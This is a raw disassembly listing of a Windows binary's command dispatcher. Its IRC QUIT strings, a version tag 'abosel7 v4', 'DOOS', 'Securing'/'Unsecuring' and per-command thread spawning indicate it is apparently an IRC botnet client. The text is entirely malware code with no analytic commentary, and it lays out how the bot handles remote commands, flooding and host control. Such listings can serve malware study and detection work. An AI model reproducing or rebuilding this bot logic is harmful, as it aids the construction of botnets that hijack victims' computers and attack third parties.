ebx call dword_427078 ; GetModuleFileNameA loc_403ADD: ; CODE XREF: sub_401ACD+1FFAj mov esi, [ebp+esi+var_88] cmp esi, ebx jnz short loc_403AED mov esi, offset byte_429108 loc_403AED: ; CODE XREF: sub_401ACD+2019j push esi lea eax, [ebp+var_2C50] push edi push eax call sub_41C360 mov eax, dword_429078 push 7Fh push [ebp+var_88] mov [ebp+var_2B44], eax mov eax, [ebp+arg_4] mov [ebp+var_2B48], ebx mov [ebp+var_2D58], eax lea eax, [ebp+var_2B40] push eax call sub_41BFD0 mov eax, [ebp+var_4] add esp, 18h mov [ebp+var_2AC0], eax mov eax, [ebp+var_8] mov [ebp+var_2ABC], eax lea eax, [ebp+var_2D54] push eax lea eax, [ebp+var_2C4] push [ebp+var_2B44] push offset unk_42C204 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 5 push eax call sub_40B3BA add esp, 1Ch mov [ebp+var_2B4C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2D58] push ebx push eax push offset sub_412197 push ebx push ebx call dword_427084 ; CreateThread mov ecx, [ebp+var_2B4C] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_403BB9 loc_403BA3: ; CODE XREF: sub_401ACD+20EAj cmp [ebp+var_2AB8], ebx jnz loc_4081AD push 32h call dword_427080 ; Sleep jmp short loc_403BA3 ; --------------------------------------------------------------------------- loc_403BB9: ; CODE XREF: sub_401ACD+20D4j call dword_427094 ; RtlGetLastWin32Error push eax push offset unk_42C1C8 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_403BCA: ; CODE XREF: sub_401ACD+1ADBj ; sub_401ACD+1AF0j mov edi, [ebp+esi+var_8C] cmp edi, ebx jz short loc_403BE9 push edi call sub_41C159 test eax, eax pop ecx jz short loc_403BE9 push edi call sub_41C159 pop ecx jmp short loc_403BEE ; --------------------------------------------------------------------------- loc_403BE9: ; CODE XREF: sub_401ACD+2106j ; sub_401ACD+2111j mov eax, dword_42907C loc_403BEE: ; CODE XREF: sub_401ACD+211Aj mov esi, [ebp+esi+var_88] mov [ebp+var_36CC], eax xor eax, eax cmp [ebp+var_8FC], bl setz al cmp esi, ebx mov [ebp+var_36B8], eax jz short loc_403C21 lea eax, [ebp+var_37D0] push esi push eax call sub_41C266 pop ecx pop ecx jmp short loc_403C4C ; --------------------------------------------------------------------------- loc_403C21: ; CODE XREF: sub_401ACD+2141j lea eax, [ebp+var_49F4] push 104h push eax call dword_42707C ; GetSystemDirectoryA push ebx push ebx lea eax, [ebp+var_4C8] push ebx push eax lea eax, [ebp+var_49F4] push eax call sub_41C3B1 add esp, 14h loc_403C4C: ; CODE XREF: sub_401ACD+2152j lea eax, [ebp+var_37D0] push eax call sub_41B9C0 cmp [ebp+eax+var_37D1], 5Ch pop ecx jnz short loc_403C77 lea eax, [ebp+var_37D0] push eax call sub_41B9C0 pop ecx mov [ebp+eax+var_37D1], bl loc_403C77: ; CODE XREF: sub_401ACD+2194j push [ebp+var_88] mov esi, [ebp+arg_4] lea eax, [ebp+var_3A58] mov [ebp+var_3A5C], esi push 80h push eax call sub_41C360 mov eax, [ebp+var_8] mov edi, [ebp+var_4] add esp, 0Ch mov [ebp+var_36BC], eax lea eax, [ebp+var_37D0] mov [ebp+var_36C0], edi push eax push [ebp+var_36CC] push esi call sub_40AA06 pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42C18C push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 3 push eax call sub_40B3BA add esp, 20h mov [ebp+var_36C4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3A5C] push ebx push eax push offset sub_40FAD6 push ebx push ebx call dword_427084 ; CreateThread mov ecx, [ebp+var_36C4] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_403D2B loc_403D19: ; CODE XREF: sub_401ACD+225Cj cmp [ebp+var_36B0], ebx jnz short loc_403D46 push 32h call dword_427080 ; Sleep jmp short loc_403D19 ; --------------------------------------------------------------------------- loc_403D2B: ; CODE XREF: sub_401ACD+224Aj call dword_427094 ; RtlGetLastWin32Error push eax push offset unk_42C150 loc_403D37: ; CODE XREF: sub_401ACD+23BFj ; sub_401ACD+4BDCj ... lea eax, [ebp+var_2C4] push eax call sub_41C266 add esp, 0Ch loc_403D46: ; CODE XREF: sub_401ACD+2252j ; sub_401ACD+23A3j ... cmp [ebp+var_8], ebx jnz loc_4082DE push ebx push edi jmp loc_4071A3 ; --------------------------------------------------------------------------- loc_403D56: ; CODE XREF: sub_401ACD+1AB1j ; sub_401ACD+1AC6j mov edi, [ebp+esi+var_8C] cmp edi, ebx jz short loc_403D75 push edi call sub_41C159 test eax, eax pop ecx jz short loc_403D75 push edi call sub_41C159 pop ecx jmp short loc_403D7A ; --------------------------------------------------------------------------- loc_403D75: ; CODE XREF: sub_401ACD+2292j ; sub_401ACD+229Dj mov eax, dword_429080 loc_403D7A: ; CODE XREF: sub_401ACD+22A6j mov [ebp+var_1828], eax mov eax, [ebp+esi+var_88] cmp eax, ebx jnz short loc_403D91 lea eax, [ebp+var_C4] loc_403D91: ; CODE XREF: sub_401ACD+22BCj push eax lea eax, [ebp+var_1968] push 40h push eax call sub_41C360 mov esi, [ebp+esi+var_84] add esp, 0Ch cmp esi, ebx jnz short loc_403DB3 mov esi, offset byte_43DB88 loc_403DB3: ; CODE XREF: sub_401ACD+22DFj push esi lea eax, [ebp+var_1928] push 100h push eax call sub_41C360 add esp, 0Ch lea eax, [ebp+var_19E8] push [ebp+var_88] push 80h push eax call sub_41C360 mov eax, [ebp+var_8] mov esi, [ebp+arg_4] mov edi, [ebp+var_4] add esp, 0Ch mov [ebp+var_1814], eax lea eax, [ebp+var_1968] push eax mov [ebp+var_19EC], esi push [ebp+var_1828] mov [ebp+var_1818], edi push esi call sub_40AA06 pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42C114 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 9 push eax call sub_40B3BA add esp, 20h mov [ebp+var_1824], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_19EC] push ebx push eax push offset sub_41144E push ebx push ebx call dword_427084 ; CreateThread mov ecx, [ebp+var_1824] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_403E80 loc_403E6A: ; CODE XREF: sub_401ACD+23B1j cmp [ebp+var_1810], ebx jnz loc_403D46 push 32h call dword_427080 ; Sleep jmp short loc_403E6A ; --------------------------------------------------------------------------- loc_403E80: ; CODE XREF: sub_401ACD+239Bj call dword_427094 ; RtlGetLastWin32Error push eax push offset unk_42C0D8 jmp loc_403D37 ; --------------------------------------------------------------------------- loc_403E91: ; CODE XREF: sub_401ACD+1A87j ; sub_401ACD+1A9Cj mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_403EA4 push esi call sub_41C159 jmp short loc_403EAB ; --------------------------------------------------------------------------- loc_403EA4: ; CODE XREF: sub_401ACD+23CDj push 0Bh call sub_40B621 loc_403EAB: ; CODE XREF: sub_401ACD+23D5j cmp eax, ebx pop ecx jz loc_409644 push eax push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40BD1A jmp loc_404376 ; --------------------------------------------------------------------------- loc_403ECB: ; CODE XREF: sub_401ACD+1A5Dj ; sub_401ACD+1A72j mov eax, dword_4CB8F0 cmp eax, ebx jz short loc_403EE8 call eax ; DnsFlushResolverCache test eax, eax jz short loc_403EE1 push offset unk_42C0B4 jmp short loc_403EED ; --------------------------------------------------------------------------- loc_403EE1: ; CODE XREF: sub_401ACD+240Bj push offset unk_42C088 jmp short loc_403EED ; --------------------------------------------------------------------------- loc_403EE8: ; CODE XREF: sub_401ACD+2405j push offset unk_42C05C loc_403EED: ; CODE XREF: sub_401ACD+2412j ; sub_401ACD+2419j ... lea eax, [ebp+var_2C4] push 200h push eax call sub_41C360 jmp loc_406BFB ; --------------------------------------------------------------------------- loc_403F03: ; CODE XREF: sub_401ACD+1A33j ; sub_401ACD+1A48j call sub_40A928 test eax, eax jz short loc_403F13 push offset unk_42C038 jmp short loc_403EED ; --------------------------------------------------------------------------- loc_403F13: ; CODE XREF: sub_401ACD+243Dj push offset unk_42C00C jmp short loc_403EED ; --------------------------------------------------------------------------- loc_403F1A: ; CODE XREF: sub_401ACD+1A09j ; sub_401ACD+1A1Ej cmp [ebp+var_8], ebx jnz short loc_403F39 push ebx push [ebp+var_4] push offset dword_42BFF4 push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 14h loc_403F39: ; CODE XREF: sub_401ACD+2450j push ebx push [ebp+var_4] call sub_418723 push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 push offset unk_42BFD8 jmp loc_40423F ; --------------------------------------------------------------------------- loc_403F5B: ; CODE XREF: sub_401ACD+18A0j ; sub_401ACD+18B5j push 0Ah call sub_40B602 test eax, eax pop ecx jle short loc_403F6E push offset unk_42BFAC jmp short loc_403F8F ; --------------------------------------------------------------------------- loc_403F6E: ; CODE XREF: sub_401ACD+2498j push [ebp+var_88] push [ebp+arg_4] call sub_41A1B1 pop ecx cmp eax, 0FFFFFFFFh pop ecx jnz short loc_403F8A push offset unk_42BF84 jmp short loc_403F8F ; --------------------------------------------------------------------------- loc_403F8A: ; CODE XREF: sub_401ACD+24B4j push offset unk_42BF64 loc_403F8F: ; CODE XREF: sub_401ACD+249Fj ; sub_401ACD+24BBj ... lea eax, [ebp+var_2C4] push eax call sub_41C266 pop ecx pop ecx loc_403F9D: ; CODE XREF: sub_401ACD+5781j cmp [ebp+var_8], ebx jnz short loc_403FBE push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] loc_403FB6: ; CODE XREF: sub_401ACD+6DA8j call sub_409869 add esp, 14h loc_403FBE: ; CODE XREF: sub_401ACD+24D3j ; sub_401ACD+26B0j ... lea eax, [ebp+var_2C4] push eax call sub_415D38 jmp loc_4097D1 ; --------------------------------------------------------------------------- loc_403FCF: ; CODE XREF: sub_401ACD+1876j ; sub_401ACD+188Bj push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40A5C5 jmp loc_404260 ; --------------------------------------------------------------------------- loc_403FE8: ; CODE XREF: sub_401ACD+184Cj ; sub_401ACD+1861j push [ebp+esi+var_8C] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_416FCF jmp loc_404260 ; --------------------------------------------------------------------------- loc_404005: ; CODE XREF: sub_401ACD+1822j ; sub_401ACD+1837j or edi, 0FFFFFFFFh call dword_4270B0 ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx mov esi, [ebp+esi+var_8C] cmp esi, ebx mov [ebp+arg_0], eax jz short loc_40402E push esi call sub_41C159 pop ecx mov edi, eax loc_40402E: ; CODE XREF: sub_401ACD+2556j mov eax, [ebp+arg_0] xor edx, edx mov ecx, 15180h div ecx cmp eax, edi jnb short loc_404047 cmp edi, 0FFFFFFFFh jnz loc_409644 loc_404047: ; CODE XREF: sub_401ACD+256Fj push ebx call sub_41ADD8 pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42BF4C push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 lea eax, [ebp+var_2C4] push eax call sub_415D38 loc_404085: ; CODE XREF: sub_401ACD+51BCj add esp, 24h jmp loc_409644 ; --------------------------------------------------------------------------- loc_40408D: ; CODE XREF: sub_401ACD+17F8j ; sub_401ACD+180Dj push 27h call sub_40B602 test eax, eax pop ecx jle short loc_4040BE cmp [ebp+var_8], ebx jnz loc_401F75 push ebx push [ebp+var_4] push offset unk_42BF2C loc_4040AB: ; CODE XREF: sub_401ACD+4F88j push [ebp+var_88] push [ebp+arg_4] call sub_409869 jmp loc_408C05 ; --------------------------------------------------------------------------- loc_4040BE: ; CODE XREF: sub_401ACD+25CAj push [ebp+var_88] lea eax, [ebp+var_BC4] push 80h push eax call sub_41C360 mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_8C] mov [ebp+var_BC8], eax mov eax, [ebp+var_4] mov [ebp+var_B3C], eax mov eax, [ebp+var_8] add esp, 0Ch cmp esi, ebx mov [ebp+var_B38], eax mov [ebp+var_B40], ebx jz short loc_40411F push esi push offset aFull ; "full" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_40411F mov [ebp+var_B40], 1 loc_40411F: ; CODE XREF: sub_401ACD+2635j ; sub_401ACD+2646j lea eax, [ebp+var_2C4] push offset dword_42BF08 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 27h push eax call sub_40B3BA add esp, 14h mov [ebp+var_B44], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_BC8] push ebx push eax push offset sub_419E38 push ebx push ebx call dword_427084 ; CreateThread mov ecx, [ebp+var_B44] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_40418D loc_404177: ; CODE XREF: sub_401ACD+26BEj cmp [ebp+var_B34], ebx jnz loc_403FBE push 32h call dword_427080 ; Sleep jmp short loc_404177 ; --------------------------------------------------------------------------- loc_40418D: ; CODE XREF: sub_401ACD+26A8j call dword_427094 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_2C4] push offset unk_42BECC push eax call sub_41C266 add esp, 0Ch jmp loc_403FBE ; --------------------------------------------------------------------------- loc_4041AD: ; CODE XREF: sub_401ACD+17CEj ; sub_401ACD+17E3j cmp [ebp+var_8], ebx jnz short loc_4041CC push ebx push [ebp+var_4] push offset unk_42BEB4 push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 14h loc_4041CC: ; CODE XREF: sub_401ACD+26E3j push [ebp+arg_4] call dword_4CBA6C ; closesocket call dword_4CB92C ; WSACleanup call sub_4188A6 push ebx call dword_42706C ; ExitProcess loc_4041E7: ; CODE XREF: sub_401ACD+17A4j ; sub_401ACD+17B9j push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push [ebp+arg_4] push eax call sub_41AF8F pop ecx pop ecx push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 push offset unk_42BE9C jmp short loc_40423F ; --------------------------------------------------------------------------- loc_404212: ; CODE XREF: sub_401ACD+177Aj ; sub_401ACD+178Fj push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_41B243 add esp, 0Ch push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 push offset unk_42BE84 loc_40423F: ; CODE XREF: sub_401ACD+2489j ; sub_401ACD+2743j call sub_415D38 add esp, 18h jmp loc_409644 ; --------------------------------------------------------------------------- loc_40424C: ; CODE XREF: sub_401ACD+1750j ; sub_401ACD+1765j push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_415DD8 loc_404260: ; CODE XREF: sub_401ACD+3C8j ; sub_401ACD+2516j ... add esp, 10h jmp loc_401F75 ; --------------------------------------------------------------------------- loc_404268: ; CODE XREF: sub_401ACD+1726j ; sub_401ACD+173Bj cmp [ebp+var_C], ebx mov [ebp+var_1598], bl jz short loc_4042A7 mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_4042A7 push esi push [ebp+var_C] call sub_41C2E0 pop ecx cmp eax, ebx pop ecx jz short loc_4042A7 push eax push offset aS_2 ; "%s" lea eax, [ebp+var_1598] push 80h push eax call sub_41C360 add esp, 10h loc_4042A7: ; CODE XREF: sub_401ACD+27A4j ; sub_401ACD+27AFj ... push [ebp+var_88] lea eax, [ebp+var_1618] push 80h push eax call sub_41C360 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_161C], eax mov eax, [ebp+var_4] mov [ebp+var_1514], eax mov eax, [ebp+var_8] mov [ebp+var_1510], eax lea eax, [ebp+var_2C4] push offset dword_42BE6C push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 25h push eax call sub_40B3BA add esp, 14h mov [ebp+var_1518], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_161C] push ebx push eax push offset sub_415E4B push ebx push ebx call dword_427084 ; CreateThread mov ecx, [ebp+var_1518] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_40434A loc_404334: ; CODE XREF: sub_401ACD+287Bj cmp [ebp+var_150C], ebx jnz loc_401F75 push 32h call dword_427080 ; Sleep jmp short loc_404334 ; --------------------------------------------------------------------------- loc_40434A: ; CODE XREF: sub_401ACD+2865j call dword_427094 ; RtlGetLastWin32Error push eax push offset unk_42BE34 jmp loc_4097CB ; --------------------------------------------------------------------------- loc_40435B: ; CODE XREF: sub_401ACD+16FCj ; sub_401ACD+1711j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_415CC0 push offset unk_42BE1C call sub_415D38 loc_404376: ; CODE XREF: sub_401ACD+23F9j add esp, 10h jmp loc_409644 ; --------------------------------------------------------------------------- loc_40437E: ; CODE XREF: sub_401ACD+16D2j ; sub_401ACD+16E7j push [ebp+var_88] lea eax, [ebp+var_C5C] push 80h push eax call sub_41C360 mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_8C] mov [ebp+var_C60], eax mov eax, [ebp+var_4] mov [ebp+var_BD4], eax mov eax, [ebp+var_8] add esp, 0Ch cmp esi, ebx mov [ebp+var_BD0], eax jz short loc_4043D8 push offset dword_42BE18 push esi call sub_41CA50 neg eax sbb eax, eax pop ecx inc eax pop ecx mov [ebp+var_BD8], eax jmp short loc_4043DE ; --------------------------------------------------------------------------- loc_4043D8: ; CODE XREF: sub_401ACD+28EFj mov [ebp+var_BD8], ebx loc_4043DE: ; CODE XREF: sub_401ACD+2909j lea eax, [ebp+var_2C4] push offset dword_42BDF8 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 28h push eax call sub_40B3BA add esp, 14h mov [ebp+var_BDC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_C60] push ebx push eax push offset sub_40B425 push ebx push ebx call dword_427084 ; CreateThread mov ecx, [ebp+var_BDC] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_40444C loc_404436: ; CODE XREF: sub_401ACD+297Dj cmp [ebp+var_BCC], ebx jnz loc_406C1F push 32h call dword_427080 ; Sleep jmp short loc_404436 ; --------------------------------------------------------------------------- loc_40444C: ; CODE XREF: sub_401ACD+2967j call dword_427094 ; RtlGetLastWin32Error push eax push offset unk_42BDBC jmp loc_409091 ; --------------------------------------------------------------------------- loc_40445D: ; CODE XREF: sub_401ACD+1656j ; sub_401ACD+166Bj push offset aDoos ; "DOOS" push offset unk_42BDA4 loc_404467: ; CODE XREF: sub_401ACD+29D9j lea eax, [ebp+var_2C4] push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 20h jmp loc_406C1F ; --------------------------------------------------------------------------- loc_404494: ; CODE XREF: sub_401ACD+162Cj ; sub_401ACD+1641j push dword_4CB714 call sub_41ADD8 pop ecx push eax push offset unk_42BD78 jmp short loc_404467 ; --------------------------------------------------------------------------- loc_4044A8: ; CODE XREF: sub_401ACD+1602j ; sub_401ACD+1617j mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_4044DA cmp [ebp+var_C], ebx jz short loc_4044E9 push esi push [ebp+var_C] call sub_41C2E0 pop ecx cmp eax, ebx pop ecx jz short loc_4044E9 push eax push offset aQuitS ; "QUIT :%s\r\n" push [ebp+arg_4] call sub_409823 add esp, 0Ch jmp short loc_4044E9 ; --------------------------------------------------------------------------- loc_4044DA: ; CODE XREF: sub_401ACD+29E4j push offset aQuitLater ; "QUIT :later\r\n" push [ebp+arg_4] call sub_409823 pop ecx pop ecx loc_4044E9: ; CODE XREF: sub_401ACD+29E9j ; sub_401ACD+29F8j ... push 0FFFFFFFEh jmp loc_401F77 ; --------------------------------------------------------------------------- loc_4044F0: ; CODE XREF: sub_401ACD+15D8j ; sub_401ACD+15EDj push offset aQuitDisconnect ; "QUIT :disconnecting\r\n" push [ebp+arg_4] call sub_409823 push offset unk_42BD28 call sub_415D38 add esp, 0Ch or eax, 0FFFFFFFFh jmp loc_401F78 ; --------------------------------------------------------------------------- loc_404512: ; CODE XREF: sub_401ACD+15AEj ; sub_401ACD+15C3j push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_409823 push offset unk_42BCF8 call sub_415D38 add esp, 0Ch jmp loc_4095AD ; --------------------------------------------------------------------------- loc_404531: ; CODE XREF: sub_401ACD+1584j ; sub_401ACD+1599j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40BA9E jmp loc_4048F0 ; --------------------------------------------------------------------------- loc_404547: ; CODE XREF: sub_401ACD+155Aj ; sub_401ACD+156Fj push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40BA49 jmp loc_4048F0 ; --------------------------------------------------------------------------- loc_40455D: ; CODE XREF: sub_401ACD+1530j ; sub_401ACD+1545j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B9DD jmp loc_4048F0 ; --------------------------------------------------------------------------- loc_404573: ; CODE XREF: sub_401ACD+1506j ; sub_401ACD+151Bj push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B90E jmp loc_4048F0 ; --------------------------------------------------------------------------- loc_404589: ; CODE XREF: sub_401ACD+1461j ; sub_401ACD+1476j push [ebp+esi+var_8C] push 27h push offset dword_42BCE8 push offset dword_42BCD8 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_4045A1: ; CODE XREF: sub_401ACD+1437j ; sub_401ACD+144Cj push [ebp+esi+var_8C] push 24h push offset dword_42BCCC push offset dword_42BCBC jmp loc_408D08 ; --------------------------------------------------------------------------- loc_4045B9: ; CODE XREF: sub_401ACD+1050j ; sub_401ACD+1065j mov edi, [ebp+esi+var_8C] cmp edi, ebx jz short loc_4045D8 push edi call sub_41C159 test eax, eax pop ecx jz short loc_4045D8 push edi call sub_41C159 pop ecx jmp short loc_4045DD ; --------------------------------------------------------------------------- loc_4045D8: ; CODE XREF: sub_401ACD+2AF5j ; sub_401ACD+2B00j mov eax, dword_429074 loc_4045DD: ; CODE XREF: sub_401ACD+2B09j mov esi, [ebp+esi+var_88] mov [ebp+var_590], eax cmp esi, ebx jz short loc_404602 push esi loc_4045EF: ; CODE XREF: sub_401ACD+2B44j lea eax, [ebp+var_5A0] push 10h push eax call sub_41C360 add esp, 0Ch jmp short loc_404619 ; --------------------------------------------------------------------------- loc_404602: ; CODE XREF: sub_401ACD+2B1Fj cmp [ebp+var_8FF], bl jz short loc_404613 lea eax, [ebp+var_C4] push eax jmp short loc_4045EF ; --------------------------------------------------------------------------- loc_404613: ; CODE XREF: sub_401ACD+2B3Bj mov [ebp+var_5A0], bl loc_404619: ; CODE XREF: sub_401ACD+2B33j mov eax, [ebp+var_4] push [ebp+var_88] mov esi, [ebp+arg_4] mov [ebp+var_584], eax mov eax, [ebp+var_8] push 80h mov [ebp+var_580], eax lea eax, [ebp+var_620] push eax mov [ebp+var_624], esi call sub_41C360 add esp, 0Ch push [ebp+var_590] push esi call sub_40AA06 pop ecx push eax lea eax, [ebp+var_2C4] push offset dword_42BC94 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 19h push eax call sub_40B3BA add esp, 1Ch mov [ebp+var_58C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_624] push ebx push eax push offset sub_411BCE push ebx push ebx call dword_427084 ; CreateThread mov ecx, [ebp+var_58C] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_4046CA loc_4046B4: ; CODE XREF: sub_401ACD+2BFBj cmp [ebp+var_57C], ebx jnz loc_401F75 push 32h call dword_427080 ; Sleep jmp short loc_4046B4 ; --------------------------------------------------------------------------- loc_4046CA: ; CODE XREF: sub_401ACD+2BE5j call dword_427094 ; RtlGetLastWin32Error push eax push offset dword_42BC58 jmp loc_4097CB ; --------------------------------------------------------------------------- loc_4046DB: ; CODE XREF: sub_401ACD+FFDj ; sub_401ACD+1012j mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_4046FB push esi call sub_41C159 test ax, ax pop ecx jz short loc_4046FB push esi call sub_41C159 pop ecx jmp short loc_404701 ; --------------------------------------------------------------------------- loc_4046FB: ; CODE XREF: sub_401ACD+2C17j ; sub_401ACD+2C23j mov ax, word_429084 loc_404701: ; CODE XREF: sub_401ACD+2C2Cj push [ebp+var_88] mov esi, [ebp+arg_4] mov edi, [ebp+var_4] mov [ebp+var_97C], ax mov eax, [ebp+var_8] push 80h mov [ebp+var_96C], eax lea eax, [ebp+var_9FC] push eax mov [ebp+var_A00], esi mov [ebp+var_970], edi call sub_41C360 movzx eax, [ebp+var_97C] add esp, 0Ch push eax push esi call sub_40AA06 pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42BC2C push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push edi push eax push [ebp+var_88] push esi call sub_409869 push ebx lea eax, [ebp+var_2C4] push 6 push eax call sub_40B3BA add esp, 30h mov [ebp+var_978], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_A00] push ebx push eax push offset sub_40EF1C push ebx push ebx call dword_427084 ; CreateThread mov ecx, [ebp+var_978] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_4047D0 loc_4047BA: ; CODE XREF: sub_401ACD+2D01j cmp [ebp+var_968], ebx jnz loc_401F75 push 32h call dword_427080 ; Sleep jmp short loc_4047BA ; --------------------------------------------------------------------------- loc_4047D0: ; CODE XREF: sub_401ACD+2CEBj call dword_427094 ; RtlGetLastWin32Error push eax push offset unk_42BBEC jmp loc_4097CB ; --------------------------------------------------------------------------- loc_4047E1: ; CODE XREF: sub_401ACD+FA9j ; sub_401ACD+FBEj ... push edi push offset aSecure ; "secure" call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_404809 push edi push offset aSec ; "sec" call sub_41CA50 pop ecx mov [ebp+var_AA8], ebx test eax, eax pop ecx jnz short loc_404813 loc_404809: ; CODE XREF: sub_401ACD+2D23j mov [ebp+var_AA8], 1 loc_404813: ; CODE XREF: sub_401ACD+2D3Aj push [ebp+var_88] lea eax, [ebp+var_B2C] push 80h push eax call sub_41C360 mov eax, [ebp+arg_4] add esp, 0Ch cmp [ebp+var_AA8], ebx mov [ebp+var_B30], eax mov eax, [ebp+var_4] mov [ebp+var_AA4], eax mov eax, [ebp+var_8] mov [ebp+var_AA0], eax mov eax, offset aSecuring ; "Securing" jnz short loc_40485A mov eax, offset aUnsecuring ; "Unsecuring" loc_40485A: ; CODE XREF: sub_401ACD+2D86j push eax push offset dword_42BBB8 lea eax, [ebp+var_2C4] push 200h push eax call sub_41C360 push ebx lea eax, [ebp+var_2C4] push 22h push eax call sub_40B3BA add esp, 1Ch mov [ebp+var_AAC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_B30] push ebx push eax push offset sub_41A366 push ebx push ebx call dword_427084 ; CreateThread mov ecx, [ebp+var_AAC] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_4048CE loc_4048B8: ; CODE XREF: sub_401ACD+2DFFj cmp [ebp+var_A9C], ebx jnz loc_4082DE push 32h call dword_427080 ; Sleep jmp short loc_4048B8 ; --------------------------------------------------------------------------- loc_4048CE: ; CODE XREF: sub_401ACD+2DE9j call dword_427094 ; RtlGetLastWin32Error push eax push offset dword_42BB7C jmp loc_4082CF ; --------------------------------------------------------------------------- loc_4048DF: ; CODE XREF: sub_401ACD+F7Fj ; sub_401ACD+F94j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_41ABFB loc_4048F0: ; CODE XREF: sub_401ACD+2A75j ; sub_401ACD+2A8Bj ... add esp, 0Ch jmp loc_409644 ; --------------------------------------------------------------------------- loc_4048F8: ; CODE XREF: sub_401ACD+F55j ; sub_401ACD+F6Aj push offset unk_42BB2C jmp loc_4084F5 ; --------------------------------------------------------------------------- loc_404902: ; CODE XREF: sub_401ACD+F2Bj ; sub_401ACD+F40j push offset aAbosel7V4 ; "abosel7 v4" push offset dword_42BB1C jmp loc_406BEF ; --------------------------------------------------------------------------- loc_404911: ; CODE XREF: sub_401ACD+F01j ; sub_401ACD+F16j mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_404971 push esi call sub_41C159 cmp eax, ebx pop ecx jl short loc_404966 cmp eax, 3 jge short loc_404966 mov edx, [ebp+arg_18] mov ecx, eax shl ecx, 7 cmp [ecx+edx], bl lea esi, [ecx+edx] jz short loc_40495B lea eax, [esi+1] push eax lea eax, [ebp+var_2C4] push offset unk_42CD50 push eax call sub_41C266 add esp, 0Ch mov [esi], bl jmp loc_4081AD ; --------------------------------------------------------------------------- loc_40495B: ; CODE XREF: sub_401ACD+2E6Dj push eax push offset unk_42BAF0 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_404966: ; CODE XREF: sub_401ACD+2E58j ; sub_401ACD+2E5Dj push eax push offset unk_42BAC4 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_404971: ; CODE XREF: sub_401ACD+2E4Dj mov edi, [ebp+arg_18] xor esi, esi loc_404976: ; CODE XREF: sub_401ACD+2EC5j push [ebp+var_90] push edi call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_404999 inc esi add edi, 80h cmp esi, 3 jl short loc_404976 jmp loc_4081AD ; --------------------------------------------------------------------------- loc_404999: ; CODE XREF: sub_401ACD+2EB9j mov eax, [ebp+arg_18] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+var_C4] push eax push offset unk_42CD50 jmp loc_408E86 ; 